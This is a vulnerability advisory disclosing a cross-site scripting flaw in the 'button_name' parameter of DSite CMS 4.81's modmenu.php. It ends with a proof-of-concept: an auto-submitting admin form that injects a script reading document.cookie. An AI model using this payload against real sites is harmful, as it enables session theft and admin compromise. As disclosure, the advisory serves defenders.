Vulnerability ID: HTB22465 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dsite_cms.html Product: DSite CMS Vendor: Media Programming Group ( http://www.dsite.ru ) Vulnerable Version: 4.81 and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "modmenu.php" script to properly sanitize user-supplied input in "button_name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/plugin.php?menu_id=1&module=menu&plitem=modmenu.php"; method="post" name="main" > <input type="hidden" name="module" value="menu" /> <input type="hidden" name="plitem" value="modmenu.php" /> <input type="hidden" name="menu_id" value="1" /> <input type="hidden" name="button_name" value='bn"><script>alert(document.cookie)</script>' /> <input type="hidden" name="new_make" value="YES" /> </form> <script> document.main.submit(); </script>
